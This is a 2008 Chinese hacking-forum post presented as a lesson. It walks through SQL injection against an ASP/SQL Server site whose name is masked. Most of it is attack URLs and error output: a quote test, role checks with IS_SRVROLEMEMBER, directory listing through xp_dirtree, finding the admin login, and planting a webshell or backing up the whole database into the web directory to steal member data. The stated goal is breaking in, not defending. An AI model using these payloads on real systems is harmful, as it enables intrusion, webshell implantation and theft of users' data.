找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 877|回复: 0

3月13日课程:注入经验积累(二)

[复制链接]

739

主题

468

回帖

4307

牛毛

论坛管理员

狼群

积分
4347
发表于 2008-3-13 12:29:54 | 显示全部楼层 |阅读模式
以下权限非SA权限!
语句:http://www.xxxxx.com/down/list.asp?id=1'
返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。
/down/list.asp,行21
测试权限结构:
语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_MEMBER('db_owner'));--
通过实际测试,只有DB_OWNER语句正常返回信息,可以确定连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者),跳过爆库爆表步骤,得到管理员的表和管理表资料
进一步得到权限有两种方法:意思爆出所有字段,取管理后台用户密码,难点在于找管理后台路径,是个体力活;另一个是通过BACKUP直接上传WEBSHELL,难点在于寻找WEB目录。
我们把路径写到表里去!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--
返回:正常的信息!说明建表成功!继续!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\\'--
回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 &#39;80040e07&#39;
将 varchar 值 &#39;@Inetpub&#39; 转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in(&#39;@Inetpub&#39;))--
最后用同样的方法测试得到网页目录放在E:\\WEB下,得到网页目录后两种选择,一是进一步获取网站管理后台,另一个是通过BACKUP直接获取WEBSHELL。监于BAKCUP获取WEBSHELL的成功率并不是太高,我们先来猜猜它的管理后台吧!这里要使用XP_DIRTREE,但是由于XP_DIRTREE是取得一个硬盘分区的目录树,让我们容易混乱,所以就来一层层得到下级目录吧:
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree &#39;e:\\web&#39;--
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)--
经过反覆的爆字段,最后爆到一个xxxadminlogin目录,一看就知道这个目录可能就是我们梦寐以求的管理后台目录!压抑住自己的兴奋!我们继续:
语句:http://http://www.xxxxx.com/down/xxxadminlogin/
显示出登陆入口!GOOD!哈哈,幸运啊!有用户、密码,有登陆URL,还等什么?进去瞧瞧……
XP_DIRTREE存储进程返回的只是目录树,我们无法得到文件树。针对登陆入口在网站根目录下的情况,根本就无从下手,而且相对来说,得到的目录信息要根据人工去猜测判断,所以要通过XP_DIRTREE取得管理后台的登陆入口有着很强判断性,也是非常考个人思维的地方。
再来说说写入ASP木马通过BACKUP得到WEBSHELL或是直接备份当前拥有权限的数据库的办法。写入木马使用臭要饭现成的GETWEBSHELL工具,很容易就得到一个WEBSHELL,为了进一步取得会员资料,直接手工备份整个库到网页目录也是个好的办法!
语句:
http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk=&#39;e:\\web\\down.bak&#39;;--
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-11 19:51 , Processed in 0.114692 second(s), 25 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表